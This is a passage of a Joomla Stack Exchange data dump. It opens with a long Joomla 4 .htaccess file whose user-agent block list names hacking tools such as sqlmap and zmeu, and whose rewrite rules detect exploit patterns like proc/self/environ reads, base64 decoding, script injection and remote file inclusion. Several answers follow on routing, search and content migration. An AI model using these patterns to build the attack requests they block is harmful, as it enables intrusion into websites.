stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Mass Downloader)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Maxthon$)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:microsoft.url)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:MIDown tool)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:miner)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Mister PiX)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:NEWT)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:MSFrontPage)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Navroad)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:NearSite)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Net Vampire)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:NetAnts)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:NetSpider)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:NetZIP)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:nutch)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Octopus)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Offline Explorer)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Offline Navigator)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:PageGrabber)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Papa Foto)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:pavuk)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:pcBrowser)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:PeoplePal)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:planetwork)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:psbot)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:purebot)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:pycurl)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:RealDownload)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:ReGet)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Rippers 0)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:SeaMonkey$)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:sitecheck.internetseer.com)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:SiteSnagger)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:skygrid)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:SmartDownload)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:sucker)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:SuperBot)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:SuperHTTP)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Surfbot)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:tAkeOut)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Teleport Pro)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Toata dragostea mea pentru diavola)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Tor)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:turnit)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:vikspider)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:VoidEYE)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Web Image Collector)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Web Sucker)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:WebAuto)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:WebCopier)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:WebFetch)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:WebGo IS)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:WebLeacher)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:WebReaper)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:WebSauger)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Website eXtractor)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Website Quester)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:WebStripper)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:WebWhacker)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:WebZIP)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Wget)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Widow)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:WWW-Mechanize)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:WWWOFFLE)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Xaldon WebSpider)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Yandex)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Zeus)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:zmeu)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:CazoodleBot)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:discobot)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:ecxi)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:GT::WWW)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:heritrix)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:HTTP::Lite)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:HTTrack)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:ia_archiver)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:id-search)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:id-search.org)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:IDBot)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Indy Library)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:IRLbot)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:ISC Systems iRc Search 2.1)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:LinksManager.com_bot)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:linkwalker)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:lwp-trivial)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:MFC_Tear_Sample)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Microsoft URL Control)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Missigua Locator)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:panscient.com)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:PECL::HTTP)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:PHPCrawl)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:PleaseCrawl)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:SBIder)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Snoopy)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Steeler)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:URI::Fetch)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:urllib)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Web Sucker)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:webalta)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:WebCollage)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Wells Search II)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:WEP Search)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:zermelo)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:ZyBorg)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Indy Library)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:libwww-perl)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Go!Zilla)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:TurnitinBot)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:sqlmap)&amp;quot; stayout=1&#xA;&amp;lt;IfModule !mod_authz_core.c&amp;gt;&#xA;deny from env=stayout&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;IfModule mod_authz_core.c&amp;gt;&#xA;  &amp;lt;RequireAll&amp;gt;&#xA;    Require all granted&#xA;    Require not env stayout&#xA;  &amp;lt;/RequireAll&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;##### Common hacking tools and bandwidth hoggers block -- END&#xA;&#xA;##### Redirect index.php to / -- BEGIN&#xA;RewriteCond %{THE_REQUEST} !^POST&#xA;RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php\ HTTP/&#xA;RewriteRule ^index\.php$ / [R,L]&#xA;##### Redirect index.php to / -- END&#xA;##### Rewrite rules to block out some common exploits -- BEGIN&#xA;RewriteCond %{QUERY_STRING} proc/self/environ [OR]&#xA;RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]&#xA;RewriteCond %{QUERY_STRING} base64_(en|de)code\(.*\) [OR]&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C).*script.*(&amp;gt;|%3E) [NC,OR]&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;RewriteRule .* index.php [F]&#xA;##### Rewrite rules to block out some common exploits -- END&#xA;##### File injection protection -- BEGIN&#xA;RewriteCond %{REQUEST_METHOD} GET&#xA;RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http[s]?:// [OR]&#xA;RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=(\.\.//?)+ [OR]&#xA;RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]//?)+ [NC]&#xA;RewriteRule .* - [F]&#xA;##### File injection protection -- END&#xA;&#xA;##### Advanced server protection rules exceptions -- BEGIN&#xA;RewriteRule ^administrator\/components\/com_akeeba\/restore\.php$ - [L]&#xA;RewriteRule ^administrator\/components\/com_joomlaupdate\/restore\.php$ - [L]&#xA;RewriteRule ^plugins\/system\/bfnetwork\/bfnetwork\/bfPing\.php$ - [L]&#xA;RewriteRule ^plugins\/system\/bfnetwork\/bfnetwork\/bfSnapshot\.php$ - [L]&#xA;RewriteRule ^administrator\/components\/com_akeebabackup\/restore\.php$ - [L]&#xA;RewriteRule ^administrator\/components\/com_joomlaupdate\/extract\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !(\.php)$&#xA;RewriteCond %{REQUEST_FILENAME} -f&#xA;RewriteRule ^\.well\-known/ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !(\.php)$&#xA;RewriteCond %{REQUEST_FILENAME} -f&#xA;RewriteRule ^cache/ - [L]&#xA;RewriteRule ^templates\/rt_audacity/ - [L]&#xA;RewriteRule ^images\/\*/ - [L]&#xA;RewriteRule ^plugins\/system\/bfnetwork\/bfnetwork/ - [L]&#xA;##### Advanced server protection rules exceptions -- END&#xA;&#xA;##### Advanced server protection -- BEGIN&#xA;&#xA;## Disable PHP Easter Eggs&#xA;RewriteCond %{QUERY_STRING} \=PHP[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12} [NC]&#xA;RewriteRule .* - [F]&#xA;#### Back-end protection&#xA;RewriteRule ^administrator/?$ - [L]&#xA;RewriteRule ^administrator/index\.(php|html?)$ - [L]&#xA;RewriteRule ^administrator/(components|modules|templates|images|plugins|cache)/.*\.(jpe|jpg|jpeg|jp2|jpe2|png|gif|bmp|css|js|swf|html|mpg|mp3|mpeg|mp4|avi|wav|ogg|ogv|xls|xlsx|doc|docx|ppt|pptx|zip|rar|pdf|xps|txt|7z|svg|odt|ods|odp|flv|mov|htm|ttf|woff|woff2|eot|webp|JPG|JPEG|PNG|GIF|CSS|JS|TTF|WOFF|WOFF2|EOT|WEBP|xml|XML)$ - [L]&#xA;RewriteRule ^administrator/ - [F]&#xA;#### Disable client-side risky behavior in backend static content&#xA;&amp;lt;If &amp;quot;%{REQUEST_URI} =~ m#^/administrator/(components|modules|templates|images|plugins|cache)/.*\.(jpe|jpg|jpeg|jp2|jpe2|png|gif|bmp|css|js|swf|html|mpg|mp3|mpeg|mp4|avi|wav|ogg|ogv|xls|xlsx|doc|docx|ppt|pptx|zip|rar|pdf|xps|txt|7z|svg|odt|ods|odp|flv|mov|htm|ttf|woff|woff2|eot|webp|JPG|JPEG|PNG|GIF|CSS|JS|TTF|WOFF|WOFF2|EOT|WEBP|xml|XML)$#&amp;quot;&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;        Header always set Content-Security-Policy &amp;quot;default-src 'self'; script-src 'none';&amp;quot;&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/If&amp;gt;&#xA;#### Front-end protection&#xA;## Allow limited access for certain directories with client-accessible content&#xA;RewriteRule ^(components|modules|templates|images|plugins|media|libraries|media/jui/fonts|cache)/.*\.(jpe|jpg|jpeg|jp2|jpe2|png|gif|bmp|css|js|swf|html|mpg|mp3|mpeg|mp4|avi|wav|ogg|ogv|xls|xlsx|doc|docx|ppt|pptx|zip|rar|pdf|xps|txt|7z|svg|odt|ods|odp|flv|mov|ico|htm|ttf|woff|woff2|eot|webp|JPG|JPEG|PNG|GIF|CSS|JS|TTF|WOFF|WOFF2|EOT|WEBP)$ - [L]&#xA;RewriteRule ^(components|modules|templates|images|plugins|media|libraries|media/jui/fonts|cache)/ - [F]&#xA;#### Disable client-side risky behavior in frontend static content&#xA;&amp;lt;If &amp;quot;%{REQUEST_URI} =~ m#^/(components|modules|templates|images|plugins|media|libraries|media/jui/fonts|cache)/.*\.(jpe|jpg|jpeg|jp2|jpe2|png|gif|bmp|css|js|swf|html|mpg|mp3|mpeg|mp4|avi|wav|ogg|ogv|xls|xlsx|doc|docx|ppt|pptx|zip|rar|pdf|xps|txt|7z|svg|odt|ods|odp|flv|mov|ico|htm|ttf|woff|woff2|eot|webp|JPG|JPEG|PNG|GIF|CSS|JS|TTF|WOFF|WOFF2|EOT|WEBP)$#&amp;quot;&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;        Header always set Content-Security-Policy &amp;quot;default-src 'self'; script-src 'none';&amp;quot;&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/If&amp;gt;&#xA;## Disallow front-end access for certain Joomla! system directories (unless access to their files is allowed above)&#xA;RewriteRule ^includes/js/ - [L]&#xA;RewriteRule ^(cache|includes|language|logs|log|tmp)/ - [F]&#xA;RewriteRule ^(configuration\.php|CONTRIBUTING\.md|htaccess\.txt|joomla\.xml|LICENSE\.txt|phpunit\.xml|README\.txt|web\.config\.txt) - [F]&#xA;&#xA;## Explicitly allow access to the site's index.php main entry point file&#xA;RewriteRule ^index.php(/.*){0,1}$ - [L]&#xA;## Explicitly allow access to the site's robots.txt file&#xA;RewriteRule ^robots.txt$ - [L]&#xA;&#xA;## Disallow access to all other PHP files throughout the site, unless they are explicitly allowed&#xA;RewriteCond %{REQUEST_FILENAME} (\.php)$&#xA;RewriteCond %{REQUEST_FILENAME} -f&#xA;RewriteRule (.*\.php)$ - [F]&#xA;##### Advanced server protection rules exceptions also bypass the “disable client-side risky behavior” features -- BEGIN&#xA;&amp;lt;If &amp;quot;%{REQUEST_URI} == '/administrator/components/com_akeeba/restore.php'&amp;quot;&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;        Header always unset Content-Security-Policy&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/If&amp;gt;&#xA;&amp;lt;If &amp;quot;%{REQUEST_URI} == '/administrator/components/com_joomlaupdate/restore.php'&amp;quot;&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;        Header always unset Content-Security-Policy&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/If&amp;gt;&#xA;&amp;lt;If &amp;quot;%{REQUEST_URI} == '/plugins/system/bfnetwork/bfnetwork/bfPing.php'&amp;quot;&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;        Header always unset Content-Security-Policy&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/If&amp;gt;&#xA;&amp;lt;If &amp;quot;%{REQUEST_URI} == '/plugins/system/bfnetwork/bfnetwork/bfSnapshot.php'&amp;quot;&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;        Header always unset Content-Security-Policy&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/If&amp;gt;&#xA;&amp;lt;If &amp;quot;%{REQUEST_URI} == '/administrator/components/com_akeebabackup/restore.php'&amp;quot;&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;        Header always unset Content-Security-Policy&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/If&amp;gt;&#xA;&amp;lt;If &amp;quot;%{REQUEST_URI} == '/administrator/components/com_joomlaupdate/extract.php'&amp;quot;&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;        Header always unset Content-Security-Policy&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/If&amp;gt;&#xA;&amp;lt;If &amp;quot;%{REQUEST_URI} =~ m#^\.well\-known/#&amp;quot;&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;        Header always unset Content-Security-Policy&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/If&amp;gt;&#xA;&amp;lt;If &amp;quot;%{REQUEST_URI} =~ m#^cache/#&amp;quot;&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;        Header always unset Content-Security-Policy&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/If&amp;gt;&#xA;&amp;lt;If &amp;quot;%{REQUEST_URI} =~ m#^templates\/rt_audacity/#&amp;quot;&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;        Header always unset Content-Security-Policy&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/If&amp;gt;&#xA;&amp;lt;If &amp;quot;%{REQUEST_URI} =~ m#^images\/\*/#&amp;quot;&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;        Header always unset Content-Security-Policy&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/If&amp;gt;&#xA;&amp;lt;If &amp;quot;%{REQUEST_URI} =~ m#^plugins\/system\/bfnetwork\/bfnetwork/#&amp;quot;&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;        Header always unset Content-Security-Policy&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/If&amp;gt;&#xA;##### Advanced server protection rules exceptions also bypass the “disable client-side risky behavior” features -- END&#xA;&#xA;## Disallow access to htaccess.txt, php.ini, .user.ini and configuration.php-dist&#xA;RewriteRule ^(htaccess\.txt|configuration\.php-dist|php\.ini|\.user\.ini)$ - [F]&#xA;# Disallow access to all other front-end folders&#xA;RewriteCond %{REQUEST_FILENAME} -d&#xA;RewriteCond %{REQUEST_URI} !^/&#xA;RewriteRule .* - [F]&#xA;&#xA;# Disallow access to all other front-end files&#xA;#RewriteCond %{REQUEST_FILENAME} -f&#xA;#RewriteRule !^index.php$ - [F]&#xA;&#xA;## Protect against clickjacking&#xA;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;&#xA;    Header always append X-Frame-Options SAMEORIGIN&#xA;&#xA;    # The `X-Frame-Options` response header should be send only for&#xA;    # HTML documents and not for the other resources.&#xA;&#xA;    &amp;lt;FilesMatch &amp;quot;\.(appcache|atom|bbaw|bmp|crx|css|cur|eot|f4[abpv]|flv|geojson|gif|htc|ico|jpe?g|js|json(ld)?|m4[av]|manifest|map|mp4|oex|og[agv]|opus|otf|pdf|png|rdf|rss|safariextz|svgz?|swf|topojson|tt[cf]|txt|vcard|vcf|vtt|webapp|web[mp]|woff2?|xloc|xml|xpi)$&amp;quot;&amp;gt;&#xA;        Header unset X-Frame-Options&#xA;    &amp;lt;/FilesMatch&amp;gt;&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;## Remove Apache and PHP version signature&#xA;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;    Header always unset X-Powered-By&#xA;    Header always unset X-Content-Powered-By&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;ServerSignature Off&#xA;## Prevent content transformation&#xA;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;    Header merge Cache-Control &amp;quot;no-transform&amp;quot;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;##### Advanced server protection -- END&#xA;&#xA;## Referrer-policy&#xA;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;    Header always set Referrer-Policy &amp;quot;unsafe-url&amp;quot;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;## Set the UTF-8 character set as the default&#xA;#  Serve all resources labeled as `text/html` or `text/plain`&#xA;#  with the media type `charset` parameter set to `UTF-8`.&#xA;&#xA;AddDefaultCharset utf-8&#xA;&#xA;# Serve the following file types with the media type `charset`&#xA;# parameter set to `UTF-8`.&#xA;#&#xA;# https://httpd.apache.org/docs/current/mod/mod_mime.html#addcharset&#xA;&#xA;&amp;lt;IfModule mod_mime.c&amp;gt;&#xA;    AddCharset utf-8 .atom \&#xA;                     .bbaw \&#xA;                     .css \&#xA;                     .geojson \&#xA;                     .js \&#xA;                     .json \&#xA;                     .jsonld \&#xA;                     .rdf \&#xA;                     .rss \&#xA;                     .topojson \&#xA;                     .vtt \&#xA;                     .webapp \&#xA;                     .xloc \&#xA;                     .xml&#xA;&amp;lt;/IfModule&amp;gt;&#xA;##### Joomla! core SEF Section -- BEGIN&#xA;# PHP FastCGI fix for HTTP Authorization&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;##### Joomla! core SEF Section -- BEGIN&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule .* index.php [L]&#xA;##### Joomla! core SEF Section -- END&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2023-08-10T08:35:50.250" LastActivityDate="2023-09-06T07:19:52.667" Title="J4 URL routing - cannot remove menu alias from URL - SEF issue" Tags="|joomla-4.x|sef|non-sef-url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33266" PostTypeId="2" ParentId="33262" CreationDate="2023-08-09T09:28:53.300" Score="1" Body="&lt;p&gt;Unless I'm mistaken, you are using nginx - which is known to cause this problem, this is because one important PHP $_SERVER variable is returned as empty in nginx, which is $_SERVER['PHP_SELF']. We ran into this problem before with a client of ours, and &lt;a href=&quot;https://www.itoctopus.com/all-urls-display-homepage-content-on-a-joomla-website-powered-by-nginx&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt; explains in details how to address the issue. Essentially, you will need to modify several configuration files: the &lt;em&gt;nginx.conf&lt;/em&gt; file, the &lt;em&gt;fastcgi_params&lt;/em&gt; file, and the &lt;em&gt;php.ini&lt;/em&gt; file. You will need to restart the nginx server, and php-fpm.&lt;/p&gt;&#xA;&lt;p&gt;Note that this article is relatively old, so it might be that the configuration settings are a bit different - it is a good idea to do this change during off hours to avoid any downtime during peak hours. Also, needless to say, make sure you backup each and every file that you change before working on it.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2023-08-09T09:28:53.300" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33267" PostTypeId="2" ParentId="33264" CreationDate="2023-08-09T09:40:52.950" Score="1" Body="&lt;p&gt;I believe this is a duplicate of &lt;a href=&quot;https://joomla.stackexchange.com/questions/33165/joomla-4-change-in-way-urls-generated-compared-to-joomla-3/33261#33261&quot;&gt;this question&lt;/a&gt;, but the context given here is more exhaustive, so I think I clearly understand what the problem is.&lt;/p&gt;&#xA;&lt;p&gt;The problem is that Joomla 3 worked in a wrong way - in essence, that link should have never worked in the first place. The reason why I'm saying this is because if you replace lymington with anything else (on Joomla 3) the link will still work, because it'll essentially ignore the &amp;quot;lymington&amp;quot; part and just know what the content should be from the article alias. Without going into details, this is a big problem from an SEO perspective, it can also cause unexpected behaviors depending on how you use the website. Joomla 4 fixed this quirky behavior by insisting that the whole link must be correct for it to work, and not just part of the link.&lt;/p&gt;&#xA;&lt;p&gt;The solution to your problem is to have a rewrite in your URL to remove the lymington part the following way (you just need to add the below lines to your .htaccess file):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on &#xA;RewriteRule ^lymington/(.*)$ $1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2023-08-09T09:40:52.950" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33268" PostTypeId="2" ParentId="33189" CreationDate="2023-08-09T09:51:21.167" Score="0" Body="&lt;p&gt;Our strategy is to avoid Joomla's search altogether - it is generally made for small sites and it is slow and inefficient, and it'll put a huge strain on the website when someone searches for something - especially for a website as large as yours (as a rule [that we follow], one should not use Joomla's built-in search features for sites with over 10K articles).&lt;/p&gt;&#xA;&lt;p&gt;As peter mentioned - Elasticsearch is one good alternative. Another good alternative is Sphinx, which we use for our clients. &lt;a href=&quot;https://www.itoctopus.com/using-sphinx-to-substantially-enhance-the-speed-of-the-joomla-search&quot; rel=&quot;nofollow noreferrer&quot;&gt;This guide&lt;/a&gt; for installing Sphinx on a cPanel/WHM server (and making it work with Joomla) that we have written ages ago still works (it has really stood the test of time) - I believe some minor alterations to in search plugin must be made to make it compatible with Joomla 4 (but you're using Joomla 3, so it should technically work for you).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2023-08-09T09:51:21.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33269" PostTypeId="2" ParentId="24408" CreationDate="2023-08-09T10:09:46.387" Score="0" Body="&lt;p&gt;I'm very curious to know what errors they're having when adding multiple articles to the website in a short time span. Could it be that there's a firewall causing these issues? Could it be that the live server is a mere shared hosting account with many other accounts competing for the same resources? In any case, I suggest you ask them to address this problem because it might be impacting the actual traffic to their website, including Google's indexing.&lt;/p&gt;&#xA;&lt;p&gt;Now, going back to your question, there are multiple ways to copy the articles to the remote server, the easiest way is to create a dump of only the newly created articles from the &lt;em&gt;#__content&lt;/em&gt; table and import them into the &lt;em&gt;#__content&lt;/em&gt; table on the live website - this is a very delicate process as you need to ensure that all the IDs in newly copied content do not exist in the live table, otherwise, you will run into issues. A cleaner approach is to export the newly created content without IDs, and let MySQL create those IDs as the id is autonumbered. This is the most expedient solution if you're doing this one time.&lt;/p&gt;&#xA;&lt;p&gt;If you have to do this on a regular basis, then you can create a PHP script that does the above and then run it every day/week/etc... If you're using Joomla 4, then you can use Joomla's API to create those articles on the fly (e.g. once they are created on the test website, then they are duplicated on the live website). I can think of other approaches, but these are the most straightforward.&lt;/p&gt;&#xA;&lt;p&gt;I would like to stress the importance of resolving the issues that your client is having because it might be impacting other areas.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2023-08-09T10:09:46.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
